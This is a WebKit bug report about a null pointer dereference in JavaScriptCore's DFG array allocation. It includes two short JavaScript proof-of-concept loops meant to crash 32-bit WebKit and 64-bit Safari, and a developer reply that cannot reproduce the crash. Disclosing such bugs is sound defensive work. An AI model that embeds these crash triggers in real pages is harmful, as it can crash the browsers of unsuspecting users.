Bug 179364 – null pointer dereference in JSC::DFG::operationNewArrayWithSize

• Status: NEW
• Component: JavaScriptCore

The following poc can lead to a crash in a 32-bit build of Webkit.

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var array = new Array(10000);

for (var i = 0; i < 20000; ++i) {
    var newArray = new Array(10000);
    array[i % array.length] = newArray;
}
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To trigger a crash in a 64-bit safari, the poc need to change to

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var array = new Array(100000);

for (var i = 0; i < 200000; ++i) {
    var newArray = new Array(100000);
    array[i % array.length] = newArray;
}
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[Alexey Proskuryakov]

I cannot reproduce this in Safari 11. I suspect that the page gets killed for using too much memory before this crash occurs, so not sure if the underlying problem is still present.